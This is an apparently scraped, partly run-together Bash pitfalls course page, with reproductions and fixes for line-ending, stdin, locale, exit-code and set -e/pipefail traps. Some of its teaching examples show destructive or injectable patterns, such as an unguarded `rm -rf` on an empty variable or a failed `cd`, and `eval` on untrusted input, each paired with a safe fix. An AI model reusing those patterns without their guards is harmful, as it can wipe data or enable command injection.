No verified video was found that covers empty-variable guards + rm -rf guards, octal traps and command injection. Below is a 3-minute storyboard you can record yourself:
touch "my file.txt" my,set -x; rm $f, zoom in on + rm my file.txt: the innocent file is deleted.BUILD_DIR=""; echo rm -rf "$BUILD_DIR/"* Prints the whole root directory; after changing it to ${BUILD_DIR:?} the script exits immediately.$(( $(date +%H) + 1 )) reports value too great for base; add 10# fix.eval "echo $host" An injected command was executed; change it to bash -c '…"$1"' _ "$host", using printf %q to show the safe form.read return values of , pipes and subshells, shared stdin, string vs integer comparison,$?, here-doc, locale,grep exit codes of ,xargs, GNU vs BSD sed,jq\r, a last line missing \n, and loop-body commands reading the loop's stdin, and reveal them with cat -A / od -c .cmd | while read … 's process structure, explain why variables changed inside a loop “disappear” outside it, and the three fixes (process substitution,lastpipe, or move the subsequent processing into the same subshell).sort,grep [a-z],printf %f,sort -n,${x,,} is locale-sensitive, use LC_ALL=C to pin the behavior; know grep,diff,cmp 's exit code 1 does not mean an error.Enter a keyword from the error or symptom (e.g. \r,last line,subshell,ssh,integer,here-document,locale,xargs,null) to filter; click a row to jump to the details.
$ bash crlf.sh crlf.sh: line 2: $'\r': command not found start crlf.sh: line 4: cd: $'/tmp\r': No such file or directory $ ./crlf.sh # run directly: the kernel cannot find the interpreter "/bin/bash\r" bash: ./crlf.sh: cannot execute: required file not found $ ./crlf2.sh # when the first line is #!/usr/bin/env bash /usr/bin/env: ‘bash\r’: No such file or directory /usr/bin/env: use -[v]S to pass options in shebang lines $ bash crlf3.sh # every line of if … fi carries \r crlf3.sh: line 4: syntax error: unexpected end of file from `if' command on line 1 $ ./crlf2.sh # message from Bash 5.3.20 (musl) for the same case ./crlf2.sh: /bin/bash^M: bad interpreter: No such file or directory
Symptom: Editing on Windows, copying from email or a wiki,core.autocrlf=true checking out scripts: blank lines report $'\r': command not found; paths, hostnames and passwords carry a trailing \r (cd fail,curl URLs are invalid, SSH passwords always wrong); then/do after the \r causes syntax errors. Git for Windows' Bash ignores \r, so it runs locally.
Root cause: Bash only recognizes \n as the line end,\r becomes part of a word ($'\r' is its ANSI-C quoting form). In Bash 5.2, execve returns ENOENT while the script exists, it reports cannot execute: required file not found (i.e. bad interpreter), and the wording varies by version and platform.
file deploy.sh grep -c $'\r' deploy.sh # number of lines containing \r head -2 deploy.sh | cat -A # line ends show ^M$ git ls-files --eol deploy.sh # i/crlf w/crlf: line endings in the repo and in the working tree
crlf.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
sed -i 's/\r$//' deploy.sh # or dos2unix deploy.sh
printf '*.sh text eol=lf\n' >> .gitattributes && git add --renormalize . && git commit -m "normalize line endings"
IFS= read -r line; line=${line%$'\r'} # strip \r when reading data that may come from Windows
.gitattributes Pin *.sh text eol=lf (not relying on core.autocrlf),.editorconfig set end_of_line = lf.! grep -rlI $'\r' --include='*.sh' ..\r.~/bashlab/lab8/pb13-crlf.shcd ~/bashlab/lab8/sandbox || exit 1 printf '#!/bin/bash\r\n\r\necho start\r\ncd /tmp\r\n' > crlf.sh && chmod +x crlf.sh bash crlf.sh; ./crlf.sh; file crlf.sh sed -i 's/\r$//' crlf.sh && ./crlf.sh # after the fix: start
See Lesson 1 Module 1: shebang,Linux Lesson 9 problem #2,Git 8 hours (line endings).
$ printf 'a\nb\nc' > nolf.txt # 3 lines; the last line has no \n $ n=0; while read -r l; do n=$((n+1)); done < nolf.txt; echo "n=$n" n=2
Symptom: The last host in a list, the last item in a config or the last CSV row goes missing; most often from Windows editors,echo -n, API responses,jq -j or output from wc -l also lose a line.
Root cause:read On EOF without a trailing newline, read still assigns the value but returns non-zero,while so the loop body never handles that line and the loop ends.
tail -c1 hosts.txt | od -c # the last byte is not \n wc -l hosts.txt; grep -c '' hosts.txt # if the two counts differ, the last line has no newline
while IFS= read -r l || [[ -n $l ]]; do echo "host: $l" done < hosts.txt mapfile -t hosts < hosts.txt # mapfile keeps the last line (Bash 4+)
while IFS= read -r line || [[ -n $line ]].\n a newline (as defined for POSIX text files); .editorconfig set insert_final_newline = true.~/bashlab/lab8/pb14-lastline.shprintf 'web1\nweb2\nweb3' > /tmp/hosts.$$ while IFS= read -r h; do echo "A: $h"; done < /tmp/hosts.$$ # web3 is missing while IFS= read -r h || [[ -n $h ]]; do echo "B: $h"; done < /tmp/hosts.$$ # fix rm -f /tmp/hosts.$$
$ c=0; printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done; echo "c=$c" c=0
Symptom: Counting error lines or collecting failed hosts always gives 0 or an empty list; inside the loop, exit 1 exit only leaves the loop.
Root cause: In Bash every pipeline segment (including the last, by default) runs in a forked subshell, so variable changes are lost; exit exit only ends the subprocess. ksh and zsh run the last segment in the current shell, so scripts ported from them break.
echo "main BASHPID=$BASHPID"; printf 'x\n' | while read -r _; do echo "loop BASHPID=$BASHPID"; done shopt lastpipe
while IFS= read -r x; do c=$((c+x)); done < <(printf '1\n2\n3\n') # process substitution: the loop runs in the current shell shopt -s lastpipe # works in non-interactive scripts (when job control is off) printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done mapfile -t lines < <(cmd) # read into an array first, then process
c=3 c=3
done < <(cmd); the exit code of process substitution set -e cannot be caught; when necessary, wait $! (Bash 4.4+).~/bashlab/lab8/pb15-subshell.shc=0; printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done; echo "pipe: c=$c" c=0; while read -r x; do c=$((c+x)); done < <(printf '1\n2\n3\n'); echo "procsub: c=$c"
See Lesson 1 Module 7: Subshells,Lesson 2 Module 7: Process substitution.
$ printf 'h1\nh2\nh3\n' > hosts $ while read -r h; do echo "host=$h"; cat >/dev/null; done < hosts host=h1
Symptom:while read host; do ssh "$host" uptime; done < hosts It silently ends after the first host. The same input swallowing happens with: ssh,ffmpeg,docker exec -i,kubectl exec -i,mysql,read prompts, some az/aws interactive commands.
Root cause:< hosts is the entire while stdin of the loop, and the loop body inherits it; ssh forwarding stdin to the remote side consumes the rest of the list, so the next read read hits EOF.
bash -x loop.sh 2>&1 | grep -c '^+ ssh' # actually called only once ls -l /proc/$$/fd/0 # inside the loop, stdin points to the host file
while IFS= read -r h; do ssh -n "$h" uptime; done < hosts # ssh -n: stdin comes from /dev/null while IFS= read -r h; do cmd "$h" < /dev/null; done < hosts # general: give the loop body its own stdin while IFS= read -r -u 3 h; do ssh "$h" uptime; done 3< hosts # read the list from fd 3; leave stdin for interaction
read -u 3 … 3< file, or parallel / xargs -P / Ansible (Lesson 6 Module 3).while read inside a ssh).~/bashlab/lab8/pb16-stdin.shprintf 'h1\nh2\nh3\n' > /tmp/hosts.$$ while read -r h; do echo "A $h"; cat >/dev/null; done < /tmp/hosts.$$ # only h1 while read -r -u 3 h; do echo "B $h"; cat >/dev/null </dev/null; done 3< /tmp/hosts.$$ rm -f /tmp/hosts.$$
See Lesson 1 Module 5: Redirection and file descriptors,Lesson 6 Module 3: Batch operations.
$ [[ "10" < "9" ]] && echo "string compare: 10<9 true" string compare: 10<9 true $ a=abc; [ "$a" -gt 3 ] bash: line 1: [: abc: integer expected $ a=abc; (( a > 3 )) && echo yes || echo no no
Symptom:[[ $usage > 90 ]] No alert at 100% ("100" sorts lexically before "90"); [[ 1.10 > 1.9 ]] mis-judged; a non-numeric value makes -gt error,(( )) yet it is treated as a variable name and evaluates to 0.
Root cause:[[ ]] in < > is a locale-based string comparison; for numbers, use -lt -gt or (( )); (( )) and [[ -gt ]] evaluate arithmetic: abc are treated as variable names (unset gives 0), and are also an untrusted-input risk (#8).
declare -p usage; [[ $usage =~ ^[0-9]+$ ]] && echo numeric
usage=$(df --output=pcent / | tail -1 | tr -dc '0-9')
[[ $usage =~ ^[0-9]+$ ]] || { echo "bad value: $usage" >&2; exit 1; }
if (( usage >= 90 )); then echo "ALERT: / at ${usage}%"; fi
printf '%s\n' 1.9 1.10 | sort -V | tail -1 # compare versions with sort -V (GNU)
(( )), and for strings use [[ == ]]; validate first.awk: awk -v a="$x" -v b="$y" 'BEGIN{exit !(a>b)}' (mind the locale, #21).~/bashlab/lab8/pb17-compare.shusage=100 [[ $usage > 90 ]] && echo "string: alert" || echo "string: NO alert (bug)" (( usage > 90 )) && echo "arith: alert"
See Lesson 2 Module 4: Conditionals,Lesson 2 Module 2: Arithmetic.
$ false; if [ $? -ne 0 ]; then echo "fail rc=$?"; fi fail rc=0
Symptom: The failure code only records 0/1, so it cannot tell a timeout (124), a kill (137) or a usage error (2) apart; or cmd; log "..."; if [ $? -ne 0 ] it checks log, and a failure is treated as success.
Root cause:$? is the exit code of the most recent command; [ is also a command: entering then the $? is already [ 0; anything in between echo,log,local overwrites it.
shellcheck x.sh # SC2181: Check exit code directly with e.g. 'if ! mycmd;', not indirectly with $?.
if ! curl -fsS "$url" -o out.json; then echo "download failed" >&2; exit 1; fi # test the command directly timeout 30 curl -fsS "$url"; rc=$? # need the exact exit code: save it immediately case $rc in 0) ;; 124) log::error "timeout";; *) log::error "curl rc=$rc";; esac cmd || rc=$? # save the exit code under set -e without exiting
if cmd, or immediately follow it with rc=$?.PIPESTATUS; copy them immediately: ps=("${PIPESTATUS[@]}").~/bashlab/lab8/pb18-status.shsh -c 'exit 3'; if [ $? -ne 0 ]; then echo "bug: rc=$?"; fi sh -c 'exit 3'; rc=$?; if (( rc != 0 )); then echo "fixed: rc=$rc"; fi
$ cat hd.sh cat <<EOF hi EOF echo done $ bash hd.sh hd.sh: line 4: warning: here-document at line 1 delimited by end-of-file (wanted `EOF') hi EOF echo done # the following script became here-doc content and never ran!
Symptom: the here-doc terminator is indented or has trailing spaces / \r: Bash only warns (exit code 0), the rest of the script becomes text mixed into nginx/systemd config, and later steps are silently skipped.
Root cause: the terminator must be alone on its line and match exactly; <<- only leading tabs are stripped (converting them to spaces breaks it). Also, an unquoted <<EOF will expand the body's $var,$(cmd), and backticks, so generating scripts or templates may run commands by mistake.
bash -n gen.sh # the syntax check also gives a warning grep -n 'EOF' gen.sh | cat -A # check whether the terminator line has spaces, ^I or ^M
cat > app.conf <<'EOF' # quoted: body is not expanded (use when generating scripts or templates)
listen ${PORT}
EOF
cat <<-EOF # when indenting: the leading characters must be tabs
host=$HOST
EOF
bash -n stderr of as a failure (bash -n x.sh 2>&1 | grep -q warning && exit 1); ShellCheck reports SC1039 / SC1040 and similar for this.envsubst and list the replaceable variables: envsubst '${PORT} ${HOST}'.~/bashlab/lab8/pb19-heredoc.shprintf 'cat <<EOF\n hi\n EOF\necho done\n' > /tmp/hd.$$ bash /tmp/hd.$$; echo "exit=$?" # warning, exit=0, done was not executed rm -f /tmp/hd.$$
See Lesson 2 Module 7: Here documents, here strings and process substitution.
$ LC_ALL=C sort s.txt | tr '\n' '|' -y|A|B|_x|a|a b|ab|b| $ LC_ALL=en_US.UTF-8 sort s.txt | tr '\n' '|' a|A|a b|ab|b|B|_x|-y| $ printf 'B\nb\n' | LC_ALL=en_US.UTF-8 grep '^[a-z]$' b
Symptom: The set difference differs between the dev machine (en_US.UTF-8) and cron / containers (C or C.UTF-8, #39). Results differ; sorting with a mismatched comm/join locale produces wrong intersections and reports comm: file 1 is not in sorted order (wording may differ); sort | uniq counts disagree; in old glibc locales, [a-z] matches uppercase.
Root cause:sort,comm,join,uniq,[[ < ]], wildcards and regex character ranges use LC_COLLATE: C byte order (uppercase first, punctuation by ASCII),en_US.UTF-8 language rules (ignoring case and some punctuation in the first pass), which vary with the glibc version. uniq It only merges adjacent lines, so sort first.
locale; env | grep -E '^(LANG|LC_)' # print once in an interactive shell and once in cron/CI sort --debug -k1,1 s.txt | head # GNU sort shows the locale and comparison keys actually used
export LC_ALL=C # at the top of the script, when a reproducible byte order is needed LC_ALL=C sort -u a.txt > a.sorted; LC_ALL=C sort -u b.txt > b.sorted LC_ALL=C comm -23 a.sorted b.sorted # sorting and comparison must use the same locale [[ $c == [[:lower:]] ]] # use a character class instead of [a-z]
LC_ALL=C (faster); use the user's locale only for display to people.${#s} counts by character), use LC_ALL=C.UTF-8, and sort by code point.sort comes from rust-coreutils; follow the actual output. Across distributions, fix the locale first.~/bashlab/lab8/pb20-locale-sort.shprintf 'b\nB\na\nA\n_x\n-y\n' > /tmp/s.$$ for l in C C.UTF-8 en_US.UTF-8; do printf '%-12s' "$l"; LC_ALL=$l sort /tmp/s.$$ 2>/dev/null | tr '\n' ' '; echo; done rm -f /tmp/s.$$ # if en_US.UTF-8 has not been generated, this line falls back to C results
$ LC_ALL=de_DE.UTF-8 bash -c 'printf "%.2f\n" 3.14159'
bash: line 1: printf: 3.14159: invalid number
3,00
$ printf '1.5\n10\n2\n1,7\n' | LC_ALL=de_DE.UTF-8 sort -n | tr '\n' ' '
1,7 2 10 1.5
$ echo "3.5 1.5" | LC_ALL=de_DE.UTF-8 awk '{printf "%.1f\n", $1+$2}'
4,0
$ echo TITLE | LC_ALL=tr_TR.UTF-8 bash -c 'read -r x; echo "${x,,}"'
tıtle
Symptom: On colleagues' computers in Germany, France and Brazil, or on some CI runners: printf formatting amounts or latencies errors out and prints 3,00; sort -n treats 1.5 as 15 (. is the thousands separator); awk output 4,0 makes JSON invalid; in Turkish, I lowercases to ı,"TITLE" == "title" fails.
Root cause: LC_NUMERIC sets the decimal point and thousands separator: the builtin printf parsing, floating-point output and GNU sort -n number recognition all depend on it; gawk parses input as C,printf and uses the locale decimal point (this differs by awk; follow the actual output). LC_CTYPE controls case conversion.
locale -k decimal_point thousands_sep LC_ALL=C printf '%.2f\n' 3.14159
LC_ALL=C printf '%.2f\n' "$val" # pin C for machine-format numbers
LC_ALL=C sort -n -k2,2 latency.txt
LC_ALL=C awk '{s+=$2} END{printf "%.2f\n", s}' data.txt
shopt -s nocasematch; [[ $x == title ]] # for case-insensitive comparison, do not rely on ${x,,} (or pin LC_ALL=C)
LC_ALL=C ; set it on CI jobs LC_ALL=C.UTF-8.awk/bc/jq, and pin the locale.~/bashlab/lab8/pb21-locale-num.shLC_ALL=de_DE.UTF-8 printf '%.2f\n' 3.14159 # requires the de_DE.UTF-8 locale to be generated LC_ALL=C printf '%.2f\n' 3.14159 printf '1.5\n10\n2\n' | LC_ALL=de_DE.UTF-8 sort -n | tr '\n' ' '; echo
Without the de_DE locale: sudo locale-gen de_DE.UTF-8 (Debian/Ubuntu), or in debian containers, install locales. See Lesson 5 Module 3: awk.
$ cat g.sh set -e n=$(grep -c ERROR /dev/null) echo "errors=$n" $ bash g.sh; echo "rc=$?" rc=1 # no output at all: no errors=0, and no error message either
Symptom:“No errors today” checks fail instead, CI turns red, cron sends blank failure emails, but grep -c output 0. Similar cases: diff (returns 1 when there are differences),cmp,test,expr (result 0 returns 1),let / (( )) (#30).
Root cause:grep: 0 = match, 1 = no match, 2 = error. set -e does not distinguish the two; n=$(…) the exit code of the command substitution decides, so it exits.
bash -x g.sh 2>&1 | tail -2 # the last command is grep grep -c ERROR /dev/null; echo "rc=$?" # 0 and rc=1
n=$(grep -c ERROR app.log || true) # allow "no match" if grep -q ERROR app.log; then alert; fi # use inside if: unaffected by set -e grep ERROR app.log || [[ $? -eq 1 ]] # only lets 1 pass; 2 (file not found, etc.) still fails
set -e.|| true This also swallows real errors (2); see the third line for the exact form.~/bashlab/lab8/pb22-grep-e.sh#!/usr/bin/env bash set -e n=$(grep -c ERROR /dev/null) # the script silently exits here echo "errors=$n" # fix: n=$(grep -c ERROR /dev/null || true)
$ printf "it's.log\n" | xargs echo xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option $ find fx -name '*.log' | xargs ls ls: cannot access 'fx/a': No such file or directory # file "fx/a b.log" is split into two arguments ls: cannot access 'b.log': No such file or directory
Symptom: Batch compression, deletion or upload of files containing apostrophes (O'Brien.pdf), spaces or newlines fails or is mishandled; a malicious filename with a newline can make find … | xargs rm delete unintended paths.
Root cause:xargs By default xargs splits on whitespace and interprets quotes and backslashes; filenames can contain any byte except / and NUL, so only NUL is safe.
find . -name '*.log' | cat -A | head # check for spaces, quotes, newlines find . -name $'*\n*' # find files whose names contain a newline
find . -name '*.log' -print0 | xargs -0 -r gzip --
find . -name '*.log' -exec gzip -- {} + # simpler: let find batch the work itself
find . -name '*.log' -print0 | xargs -0 -r -n 50 -P 4 gzip -- # parallel (Lesson 6)
xargs Always set -0 (-r: does nothing with no input, a GNU extension; BSD does this by default).grep -lZ,git ls-files -z,sort -z.~/bashlab/lab8/pb23-xargs.shcd ~/bashlab/lab8/sandbox || exit 1 touch "it's.log" "a b.log" find . -name '*.log' | xargs ls # reports unmatched single quote find . -name '*.log' -print0 | xargs -0 ls -- # fix
See Lesson 5 Module 4: find, xargs and safe filename handling.
$ sed -i '' 's/a/b/' s.txt # macOS syntax on GNU sed sed: can't read s/a/b/: No such file or directory
$ sed -i 's/a/b/' s.txt sed: 1: "s.txt": unterminated substitute pattern
Symptom: An in-place replacement written on macOS fails in Linux CI (GNU treats '' as a script and the real script as a filename), and vice versa; BSD sed also treats -i after it as a backup suffix (creating s.txts/a/b/ and the like); GNU extensions \+,\s,\|,I flags are invalid on BSD.
Root cause: GNU sed -i[SUFFIX] The suffix is optional and must be attached; BSD sed -i SUFFIX requires a separate suffix argument (which may be empty). Neither is POSIX (POSIX sed has no -i).
sed --version 2>/dev/null | head -1 || echo "BSD sed" uname -s
sed -i.bak 's/a/b/' s.txt && rm -f s.txt.bak # attached suffix: accepted by both GNU and BSD tmp=$(mktemp) && sed 's/a/b/' s.txt > "$tmp" && cat "$tmp" > s.txt && rm -f "$tmp" # fully portable; keeps the original file's inode and permissions # macOS: brew install gnu-sed, then use gsed
gsed/gdate, detected at the start) or use only the POSIX subset.~/bashlab/lab8/pb24-sed-i.shcd ~/bashlab/lab8/sandbox || exit 1 echo a > s.txt sed -i '' 's/a/b/' s.txt; echo "rc=$?" # fails on GNU, succeeds on BSD sed -i.bak 's/a/b/' s.txt && cat s.txt # succeeds on both
$ echo '{"name":"web1"}' | jq -r '.ip'
null
$ echo '{"name":"web1"}' | jq -er '.ip'; echo "rc=$?"
null
rc=1
$ echo '{"name":"web1"}' | jq -r '.ip // empty' | wc -l
0
Symptom: Wrong field name (.ipAddress vs .ip), an API revision, or an unassigned IP: the ip=$(jq -r .ip …) becomes the string null, then ssh null,curl http://null/, or null goes into DNS or config; [[ -n $ip ]] passes. Similar: no -f of curl on 404/500 returns 0, so an error page is treated as data.
Root cause: jq returns null for a missing key,-r outputs the string null, with exit code 0; -e (--exit-status) returns 1 when the last output is false/null .
jq 'keys' resp.json # which fields actually exist jq -e '.ip | type == "string"' resp.json
ip=$(jq -er '.ip' resp.json) || { log::error "no .ip in response"; exit 1; }
ip=$(jq -r '.ip // empty' resp.json); : "${ip:?missing ip}"
resp=$(curl -fsS --retry 3 "$url") # -f: HTTP ≥ 400 exits with code 22, so the error page is not treated as data
jq -e or // empty + :? to validate type and existence of required fields; pass shell variables with --arg / --argjson , do not build the jq program by concatenation (#11).--query (JMESPath) outputs None (az -o tsv) or empty for a missing field; validate that too (Lesson 6 Module 2).~/bashlab/lab8/pb25-jq-null.shresp='{"name":"web1"}'
ip=$(jq -r '.ip' <<<"$resp"); echo "ip=[$ip]" # ip=[null]
ip=$(jq -er '.ip' <<<"$resp") || echo "fixed: missing ip, rc=$?"
See Lesson 5 Module 6: jq and yq,Lesson 6 Module 1: Calling HTTP APIs.
Start from the first symptom you see and answer step by step; every conclusion links to the matching problem details.
lastpipe some need a non-interactive script); source ~/bashlab/lab8/lab8.sh && l8_sandbox.printf '#!/bin/bash\r\n\r\necho start\r\ncd /tmp\r\n' > crlf.sh && chmod +x crlf.sh bash crlf.sh; l8_show crlf.sh | head -3
crlf.sh: line 2: $'\r': command not found start crlf.sh: line 4: cd: $'/tmp\r': No such file or directory #!/bin/bash^M$ ^M$ echo start^M$
sed -i 's/\r$//' crlf.sh && ./crlf.sh && file crlf.sh
start crlf.sh: Bourne-Again shell script, ASCII text executable
printf 'web1\nweb2\nweb3' > hosts.txt n=0; cat hosts.txt | while IFS= read -r h; do n=$((n+1)); done; echo "pipe+no-fix: n=$n" n=0; while IFS= read -r h || [[ -n $h ]]; do n=$((n+1)); done < hosts.txt; echo "fixed: n=$n"
pipe+no-fix: n=0 fixed: n=3
lastpipe (in an interactive shell with job control enabled,lastpipe has no effect):printf 'shopt -s lastpipe\nn=0\nprintf "a\\nb\\n" | while read -r _; do n=$((n+1)); done\necho "lastpipe: n=$n"\n' > lp.sh && bash lp.sh
lastpipe: n=2
printf 'h1\nh2\nh3\n' > hosts while read -r h; do echo "A $h"; cat >/dev/null; done < hosts while read -r -u 3 h; do echo "B $h"; cat >/dev/null </dev/null; done 3< hosts
A h1 B h1 B h2 B h3
printf 'set -e\nn=$(grep -c ERROR /dev/null)\necho "errors=$n"\n' > g.sh bash g.sh; echo "rc=$?" sed -i 's|/dev/null)|/dev/null \|\| true)|' g.sh && bash g.sh
rc=1 errors=0
l8_clean
No verified video was found that specifically covers CRLF $'\r' errors, loop stdin swallowing, and locale and decimal points. Storyboard:
$'\r': command not found; cat -A shows ^M$; .gitattributes fix.while read h; do ssh "$h" uptime; done < hosts Only one host ran; draw the shared fd 0 diagram; switch to ssh -n and read -u 3.LC_ALL=C and de_DE.UTF-8 gives different sort -n,printf %.2f output; at the top of the script export LC_ALL=C.set -e exception rules of local masking exit codes, pipefail and SIGPIPE, arithmetic return values,cd failures, ERR trap inheritance, signals and PID 1, temp files, locks, background jobs, concurrent writes, timeoutsset -e the exceptions: while/until conditions of if tests of &&/|| commands in a list other than the last, and commands in a pipeline other than the last (depending on pipefail), and commands prefixed with ! negated by ! ; and that “a function called in an ignored context has its whole body unaffected by -e ”.timeout timeout, 126 not executable, 127 command not found, 130 = 128+2 (SIGINT), 137 = 128+9 (SIGKILL / OOM), 141 = 128+13 (SIGPIPE), 143 = 128+15 (SIGTERM).trap cleanup EXIT,mktemp -d,flock -n,wait "$pid" collects exit codes,timeout wraps external calls.Enter keywords (e.g. set -e,local,pipefail,141,cd,ERR,137,flock,wait,timeout) to filter; click a row to jump to the details.
$ bash -c 'set -e; deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }; if deploy; then echo "deploy reported success"; fi'
cp: cannot stat '/nonexist': No such file or directory
deploy continued
deploy reported success
$ bash -c 'set -e; check(){ [[ -f /etc/app.conf ]] && echo found; }; check; echo "after check"'; echo "rc=$?"
rc=1 # conversely: the function's last command is an && list, so “not found” makes the script exit
Symptom:① a function called in if f,f || handle,f && next,! f called in; internal failures do not exit and carry on (old version removed, new one not installed); ② a function ending with [[ … ]] && cmd as its last command returns 1 when the condition is false, and the caller set -e exits silently.
Root cause (key points from the Bash manual set -e ):“The shell does not exit if the command that fails is part of the command list immediately following a while or until reserved word, part of the test in an if statement, part of any command executed in a && or || list except the command following the final && or ||, any command in a pipeline but the last (subject to the state of the pipefail shell option), or if the command's return status is being inverted with !.” and: “If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting.” The second symptom is: && The list itself does not trigger an exit, but after it becomes the function's return value, the simple command that calls the function fails.
bash -x deploy.sh 2>&1 | grep -nE '^\++ (cp|deploy)' grep -nE '^\s*(if|while|until) +[a-z_:]+|\|\| *[a-z_:]+|! +[a-z_:]+' deploy.sh # functions called in a “protected” context
deploy() {
cp -- "$src" "$dst" || return # propagate failures explicitly inside the function; do not rely on set -e
systemctl restart app || return
}
if ! deploy; then log::error "deploy failed"; rollback; exit 1; fi
check() { if [[ -f /etc/app.conf ]]; then echo found; fi; } # use if instead of a trailing &&; returns 0
set -e is a safety net, not error handling; key steps should be explicit || return / || die.cond && cmd or add at the end return 0.set -e decision exercise (based on actual runs).~/bashlab/lab8/pb26-errexit-if.sh#!/usr/bin/env bash
set -e
deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }
if deploy; then echo "deploy reported success"; fi
# fix: cp … || return; if ! deploy; then …
See Lesson 4 Module 1: The real semantics and traps of strict mode.
$ bash -ec 'f(){ local v=$(false); echo "still here"; }; f'
still here
$ bash -c 'f(){ local out; out=$(false); echo "rc=$?"; }; f'
rc=1
Symptom: When fetching a token or looking up a resource ID, local token=$(get_token) fails without exiting; an empty token causes a string of 401s; export VAR=$(cmd),readonly X=$(cmd),declare -r are the same.
Root cause:local,export,declare,readonly are commands whose own exit code (a successful declaration = 0) masks that of the command substitution; only out=$(cmd) 's exit code equals cmd 's.
shellcheck lib/*.sh | grep SC2155 # Declare and assign separately to avoid masking return values.
get_token() {
local token
token=$(az account get-access-token --query accessToken -o tsv) || return
printf '%s\n' "$token"
}
local -r region=eastus2 # a literal is fine; only command substitution needs splitting out
shfmt not fixed, rely on review.echo "$(cmd)",cmd2 "$(cmd1)" failures are masked by the outer command; from Bash 4.4+, shopt -s inherit_errexit only stops on an error inside the substitution, while the outer command still succeeds (verified: the output is an empty string and the script continues).~/bashlab/lab8/pb27-local-mask.sh#!/usr/bin/env bash
set -e
f(){ local v=$(false); echo "masked: still here"; }; f
g(){ local v; v=$(false); echo "never printed"; }; g # after the fix: exits here
$ bash -c 'set -e; (echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz; echo "backup ok size=$(wc -c < db.sql.gz)"' dump: access denied backup ok size=20 $ bash -c 'set -eo pipefail; (echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz; echo "backup ok"'; echo "rc=$?" dump: access denied rc=2
Symptom:mysqldump … | gzip > backup.sql.gz,pg_dump | aws s3 cp - s3://…,curl … | tar xz,kubectl get … | jq …: the front stage fails (expired password, network down, no permission), the back stage succeeds, the exit code is 0, and monitoring stays green until the day a restore is needed.
Root cause: The pipeline exit code by default takes the last segment's,set -e only looks at it; set -o pipefail takes the rightmost non-zero (0 only if all succeed); each segment's exit code is in PIPESTATUS.
mysqldump … | gzip > b.gz; echo "${PIPESTATUS[@]}" # e.g. 2 0
gzip -t b.gz && zcat b.gz | head -3 # verify the backup contents
zcat b.gz | tail -1 # a normal mysqldump ends with a "-- Dump completed" line
set -Eeuo pipefail
tmp=$(mktemp "${dest}.XXXX")
mysqldump --single-transaction "$db" | gzip > "$tmp"
gzip -t "$tmp" && [[ $(stat -c %s "$tmp") -gt 1024 ]] # check size and integrity (GNU stat)
mv -- "$tmp" "$dest" # atomically replace only after the checks pass
set -euo pipefail; in GitHub Actions, write shell: bash is bash --noprofile --norc -eo pipefail {0}, not writing shell is bash -e {0}, no pipefail (GitHub Docs, #45).~/bashlab/lab8/pb28-pipefail.shcd ~/bashlab/lab8/sandbox || exit 1 set -e (echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz echo "backup ok (bug), PIPESTATUS lost; size=$(wc -c < db.sql.gz)" # fix: change the second line to set -eo pipefail
See Lesson 1 Module 6: Pipes and exit status,Lesson 6 Module 5: Backup and rotation.
$ bash -c 'set -o pipefail; seq 1 100000 | head -1; echo "rc=$? ps=${PIPESTATUS[*]}"'
1
rc=141 ps=141 0
$ bash -c 'set -o pipefail; seq 1 100000 | grep -q 1; echo "rc=$? ps=${PIPESTATUS[*]}"'
rc=141 ps=141 0
Symptom: Adding set -euo pipefail after latest=$(ls -t | head -1),kubectl get pods | grep -q Running,yes | head sometimes exits (only appears with large input), and the log only shows 141.
Root cause:head,grep -q reads enough and exits, so the upstream's next write is killed by SIGPIPE (128+13=141). Without pipefail this is ignored (the "terminate early" design of pipes); with it, the pipeline fails. If the upstream finishes writing first, it does not trigger, which is why it is intermittent.
cmd | head -1; echo "${PIPESTATUS[@]}" # 141 0
kill -l 141 # PIPE
first=$(seq 1 100000 | sed -n '1p;1q') # may still SIGPIPE; safer: have the upstream produce no extra output
first=$(awk 'NR==1{print; exit}' < big.txt) # read the file directly, no pipe
if kubectl get pods -o name | grep -q web; then …; fi # in an if condition set -e does not trigger, but $? is still 141
{ cmd | head -1; } || [[ $? -eq 141 ]] # explicitly tolerate only SIGPIPE
head,grep -q,grep -m,read one line), or filter upstream (kubectl … --field-selector,jq first,find -quit).kill -l $((rc-128)).~/bashlab/lab8/pb29-sigpipe.sh#!/usr/bin/env bash
set -o pipefail
seq 1 100000 | head -1; echo "rc=$? ps=${PIPESTATUS[*]}" # rc=141
seq 1 3 | head -1; echo "rc=$?" # small input: usually rc=0 (timing dependent)
$ bash -ec 'i=0; ((i++)); echo "not reached"'; echo "rc=$?" rc=1 $ bash -ec 'i=0; let i++; echo never'; echo "rc=$?" rc=1 $ bash -c 'set -e; i=0; ((i+=1)); echo "i=$i"; i=$((i+1)); echo "i=$i"' i=1 i=2
Symptom:((errors++)),((count++)) under set -e the first iteration exits silently; with i=1, ((i++)) it works — the error only happens when counting from 0.
Root cause:(( expr )),let: a non-zero value returns 0 and zero returns 1. Postfix i++ takes the pre-increment value 0, returns 1, and triggers set -e; ((i+=1)) value 1 returns 0; i=$((i+1)) always returns 0.
i=0; ((i++)); echo $? # 1 i=0; ((++i)); echo $? # 0
i=$((i + 1)) # recommended: an assignment statement, always returns 0 ((i += 1)) # or pre-increment / compound assignment (still broken if i starts at -1) ((i++)) || true # not recommended: poor readability
i=$((i+1)),(( )) only for conditions.expr 0, and ending with [[ … ]] && … a function (#26),grep grep with no match (#22).~/bashlab/lab8/pb30-arith-e.sh#!/usr/bin/env bash set -e errors=0 ((errors++)) # exits here, rc=1 echo "errors=$errors" # fix: errors=$((errors+1))
$ cat c.sh cd /nonexist_build echo "would rm in $PWD" $ bash c.sh; echo "rc=$?" c.sh: line 1: cd: /nonexist_build: No such file or directory would rm in /tmp/w6 rc=0
Symptom:cd "$BUILD_DIR"; rm -rf *: the directory does not exist (typo, failed mount, first run, deleted), so the command runs in the current directory (under cron it is usually $HOME, and in containers it may be /) and runs rm -rf *, with the exit code still 0.
Root cause: Without set -e set -e, a failed cd only reports an error and carries on; with set -e set -e but inside a function called from if/|| (#26), it does not exit either.
